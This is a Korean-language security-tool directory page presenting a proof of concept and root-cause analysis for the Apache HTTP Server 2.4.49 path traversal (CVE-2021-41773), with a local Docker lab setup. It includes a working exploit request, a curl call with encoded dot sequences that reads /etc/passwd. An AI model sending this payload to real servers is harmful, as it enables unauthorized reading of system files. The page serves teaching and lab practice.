Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2021-41773 — CVE-2021-41773에 대한 PoC 및 분석 | Kitploit
도구/GitHubGitHub/tr3m0x/cve-2021-41773
Vulnerability AnalysisWeb Application ExploitationWeb SecurityPenetration TestingLearning & EducationLabs & Practice
GitHubtr3m0x/cve-2021-41773

CVE-2021-41773

CVE-2021-41773에 대한 PoC 및 분석

저장소 보기
61개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2021-41773 PoC — Apache HTTP Server 경로 순회

개요

CVE-2021-41773은 Apache HTTP Server 2.4.49에 영향을 주는 경로 순회 취약점입니다.

이 취약점으로 인해 공격자는 특정 구성에서, 특히 Alias, ScriptAlias 또는 기타 Alias 유사 지시문을 통해 디렉토리가 노출된 경우, 의도된 디렉토리 밖의 파일에 접근할 수 있습니다.

이 취약점은 URL 경로 정규화 및 표준화 처리가 부적절하기 때문에 발생합니다. Apache는 여전히 인코딩된 문자를 포함할 수 있는 경로 표현에 대해 보안 검사를 수행했으며, 이로 인해 공격자는 인코딩된 점(dot) 시퀀스를 사용해 탐색 탐지를 우회할 수 있었습니다.


영향

공격자는 다음과 같은 인코딩된 탐색 시퀀스를 포함하는 악성 URL을 만들 수 있습니다:

root@kitploit:~
.%2e

여기서:

root@kitploit:~
%2e = .

따라서:

root@kitploit:~
.%2e

는 다음과 같이 변환됩니다:

root@kitploit:~
..

디코딩 후.

Apache가 인코딩된 표현을 정규 형식으로 변환하기 전에 검증하는 경우, 탐색 검사를 우회할 수 있습니다.

성공적인 악용 시 공격자는 파일시스템에서 임의의 파일을 읽을 수 있습니다.

예시 대상:

root@kitploit:~
/etc/passwd

취약한 코드

취약한 로직은 다음 위치에 있습니다:

root@kitploit:~
server/util.c

내부의:

root@kitploit:~
ap_normalize_path()

Apache 2.4.49 취약 코드:

root@kitploit:~
if (path[l] == '.') {
    /* Remove /./ segments */
    if (IS_SLASH_OR_NUL(path[l + 1])) {
        l++;
        if (path[l]) {
            l++;
        }
        continue;
    }

    /* Remove /xx/../ segments */
    if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
        /* Wind w back to remove the previous segment */
        if (w > 1) {
            do {
                w--;
            } while (w && !IS_SLASH(path[w - 1]));
        }
        else {
            /* Already at root, ignore and return a failure
             * if asked to.
             */
            if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
                ret = 0;
            }
        }

        /* Move l forward to the next segment */
        l += 2;
        if (path[l]) {
            l++;
        }
        continue;
    }
}

근본 원인 분석

취약한 코드는 디렉토리 탐색 패턴을 식별하려고 시도합니다:

root@kitploit:~
../

연속된 점을 확인하는 방식으로:

root@kitploit:~
path[l + 1] == '.'

그러나 공격자는 인코딩된 탐색 시퀀스를 제공할 수 있습니다:

root@kitploit:~
/.%2e/

정규화 검사 시점에 Apache는 다음을 처리합니다:

root@kitploit:~
.%2e

다음 대신에:

root@kitploit:~
..

왜냐하면:

root@kitploit:~
%2e != .

탐색 탐지 로직은 이 시퀀스를 다음과 같이 인식하지 못합니다:

root@kitploit:~
../

그 후 경로는 디코딩된 형태로 해석되어 탐색이 발생할 수 있습니다.


취약한 처리 흐름

취약한 동작은 다음과 같이 나타낼 수 있습니다:

root@kitploit:~
HTTP Request

      |
      v

Path normalization / traversal validation

      |
      v

URL decoding / canonicalization

      |
      v

Filesystem access

보안 결정은 경로가 최종 정규 표현에 도달하기 전에 이루어집니다.

더 안전한 방법은 다음과 같습니다:

root@kitploit:~
HTTP Request

      |
      v

URL decoding

      |
      v

Path normalization

      |
      v

Traversal validation

      |
      v

Filesystem access

보안 검사는 항상 최종 정규화된 표현을 기준으로 수행되어야 합니다.


실습 환경 구성

리포지토리 클론

root@kitploit:~
git clone https://github.com/tr3m0x/CVE-2021-41773.git
cd CVE-2021-41773

취약한 Docker 이미지 빌드

root@kitploit:~
docker build -t apache-cve-2021-41773 .

취약한 Apache 서버 실행

root@kitploit:~
docker run -d \
--name apache-vulnerable \
-p 8989:80 \
apache-cve-2021-41773

악용

인코딩된 탐색 시퀀스를 포함하는 요청을 전송합니다:

root@kitploit:~
curl --path-as-is \
"http://localhost:8989/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"

성공적인 악용 시 다음 파일의 내용이 반환됩니다:

root@kitploit:~
/etc/passwd

예:

root@kitploit:~
root:x:0:0:root:/root:/bin/bash

HTTP 403 응답에 관한 참고 사항

403 Forbidden 응답이 반드시 악용 실패를 의미하는 것은 아닙니다.

테스트 중 Apache가 다음 경로를 정상적으로 정규화할 수 있습니다:

root@kitploit:~
/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd

다음으로 변환합니다:

root@kitploit:~
/etc/passwd

그러나 파일시스템 권한이나 Apache 인증 규칙으로 인해 접근을 거부할 수 있습니다.

예:

root@kitploit:~
client denied by server configuration: /etc/passwd

이는 탐색이 성공적으로 발생했지만 접근 제어로 인해 파일 노출이 차단되었음을 나타냅니다.


핵심 교훈

CVE-2021-41773은 정규화 취약점의 전형적인 예입니다.

사용자 제어 입력은 여러 표현을 가질 수 있습니다:

root@kitploit:~
.%2e

및:

root@kitploit:~
..

서로 다르게 보이지만, 이들은 동일한 경로 구성 요소를 나타냅니다.

보안 검사는 항상 디코딩 및 정규화 이후에 수행되어야 합니다. 인코딩되거나 모호한 표현을 검증하면 보안 우회로 이어질 수 있습니다.

도구 다운로드